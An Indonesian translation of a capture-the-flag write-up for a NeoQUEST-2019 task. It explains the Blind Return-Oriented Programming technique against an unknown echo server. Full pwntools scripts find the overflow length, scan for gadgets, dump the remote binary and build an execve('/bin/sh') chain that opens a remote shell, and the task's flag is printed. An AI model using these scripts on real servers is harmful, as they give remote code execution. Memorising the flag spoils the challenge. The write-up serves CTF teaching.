Server, bisakah kau mendengarku? Serangan BROP pada contoh tugas NeoQUEST-2019



Bagaimana menemukan kerentanan di server tanpa informasi tentang itu? Apa bedanya BROP dengan ROP? Apakah mungkin untuk mengunduh file yang dapat dieksekusi dari server melalui buffer overflow? Selamat datang di kucing, kami akan menganalisis jawaban atas pertanyaan-pertanyaan ini pada contoh melewati tugas NeoQUEST-2019 !

Alamat dan port server diberikan : 213.170.100.211 10000 . Mari kita coba terhubung dengannya:


Sekilas - tidak ada yang istimewa, server gema biasa: mengembalikan hal yang sama dengan yang kami kirimkan kepada kami.

Setelah bermain dengan ukuran data yang dikirim, Anda dapat melihat bahwa dengan panjang garis yang cukup panjang, server tidak dapat berdiri dan memutuskan koneksi:


Hmm, sepertinya meluap.

Temukan panjang buffer. Anda dapat dengan mudah beralih pada nilai-nilai, menambahkannya, sampai kita mendapatkan output non-standar dari server. Dan Anda dapat menunjukkan sedikit kecerdikan dan mempercepat proses menggunakan pencarian biner, memeriksa apakah server macet atau tidak jatuh setelah permintaan berikutnya.

Menentukan panjang buffer
from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end) // 2 print("Testing {}".format(curlen)) payload = b'\xff' * curlen conn.send(payload) time.sleep(0.5) r = conn.recv() payload = b'\xff' * (curlen) conn.send(payload) try: r = conn.recv() start = curlen payload = b'\xff' * (curlen + 1) conn.send(payload) time.sleep(0.5) r = conn.recv() conn.send(payload) try: r = conn.recv() except EOFError: print("\nBuffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1 



Jadi, panjang buffer adalah 136. Jika Anda mengirim 136 byte ke server, maka kami menghapus byte nol di akhir baris kami ke stack dan mendapatkan data yang mengikutinya - nilainya 0x400155. Dan ini, tampaknya, adalah alamat pengirim. Dengan cara ini, kita dapat mengontrol alur eksekusi. Tetapi kami sendiri tidak memiliki file yang dapat dieksekusi, dan kami tidak tahu di mana tepatnya gadget ROP yang memungkinkan kami untuk mendapatkan shell dapat ditemukan.

Apa yang bisa dilakukan tentang ini?

Ada teknik khusus yang memungkinkan Anda untuk memecahkan masalah seperti ini asalkan alamat kembali dikendalikan - Pemrograman Berorientasi Buta . Intinya, BROP adalah pemindaian buta terhadap file yang dapat dieksekusi untuk gadget. Kami menulis ulang alamat pengirim dengan beberapa alamat dari segmen teks, mengatur parameter untuk gadget yang diinginkan pada tumpukan dan menganalisis perilaku program. Berdasarkan analisis, asumsi lahir apakah kita menebak atau tidak. Peran penting dimainkan oleh gadget bantu khusus - Hentikan (pelaksanaannya tidak akan menyebabkan penghentian program) dan Perangkap (pelaksanaannya akan menyebabkan program berakhir). Jadi, pada awalnya gadget tambahan ditemukan, dan dengan bantuan mereka, gadget yang diperlukan sudah dicari (sebagai aturan, untuk memanggil write dan mendapatkan file yang dapat dieksekusi).

Sebagai contoh, kami ingin menemukan gadget yang menempatkan nilai tunggal dari tumpukan ke dalam register dan melakukan ret . Kami akan mencatat alamat yang diuji alih-alih alamat kembali untuk mentransfer kontrol ke sana. Setelah itu, kami menuliskan alamat gadget Trap yang kami temukan sebelumnya, dan di belakangnya adalah alamat gadget Stop . Apa yang akhirnya ternyata: jika server macet ( Perangkap bekerja), maka gadget tersebut terletak pada alamat pengujian saat ini, yang tidak cocok dengan yang dicari: itu tidak menghapus alamat gadget Perangkap dari tumpukan. Jika Berhenti berfungsi, maka gadget saat ini mungkin hanya apa yang kita cari: itu menghapus satu nilai dari tumpukan. Dengan demikian, Anda dapat mencari gadget yang cocok dengan perilaku tertentu.


Tetapi dalam hal ini, pencarian dapat disederhanakan. Kami tahu pasti bahwa server mencetak beberapa nilai kepada kami sebagai tanggapan. Anda dapat mencoba memindai berbagai alamat di file yang dapat dieksekusi dan melihat apakah kita mendapatkan kode yang menampilkan baris lagi.

Penemuan gadget
 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1) 



Bagaimana kita bisa mendapatkan file yang dapat dieksekusi menggunakan kebocoran ini?

Kita tahu bahwa server menulis garis sebagai tanggapan. Ketika kita pergi ke alamat 0x40016f, parameter fungsi output diisi dengan beberapa jenis sampah. Karena, dilihat dari alamat pengirim, kita berurusan dengan file yang dapat dieksekusi 64-bit, parameter fungsi terletak di register.

Tetapi bagaimana jika kami menemukan gadget yang memungkinkan kami untuk mengontrol isi register (meletakkannya di sana dari tumpukan)? Mari kita coba menemukannya menggunakan teknik yang sama. Kita dapat menaruh nilai apa pun di tumpukan, bukan? Jadi, kita perlu menemukan pop-gadget yang akan memberi nilai pada register yang diinginkan sebelum memanggil fungsi output. Tetapkan alamat awal file ELF ( 0x400000 ) sebagai alamat string. Jika kami menemukan gadget yang tepat, maka server harus mencetak tanda tangan 7F 45 4C 46 sebagai tanggapan.


Pencarian Gadget Berlanjut
 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1) 



Dengan menggunakan kumpulan alamat yang dihasilkan, kami memompa file yang dapat dieksekusi dari server.

Ekstraksi file
 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None 


Mari kita lihat di IDA:


Alamat 0x40016f mengarahkan kita ke syscall , dan 0x40017f mengarah ke pop rsi ; ret .

Sekarang Anda memiliki file yang dapat dieksekusi, Anda dapat membangun rantai ROP. Selain itu, baris / bin / sh juga ada di dalamnya !


Kami membentuk rantai yang memanggil sistem dengan argumen / bin / sh . Informasi tentang panggilan sistem di Linux 64-bit dapat ditemukan, misalnya, di sini .

Langkah kecil terakhir
 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive() 


Jalankan exploit dan dapatkan shell:


Kemenangan!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

Segera, vraytaps akan muncul untuk tugas-tugas lain dari panggung online NeoQUEST-2019. Dan "Konfrontasi" akan berlangsung pada 26 Juni! Berita akan muncul di situs web acara, jangan lewatkan!

Source: https://habr.com/ru/post/id446942/


All Articles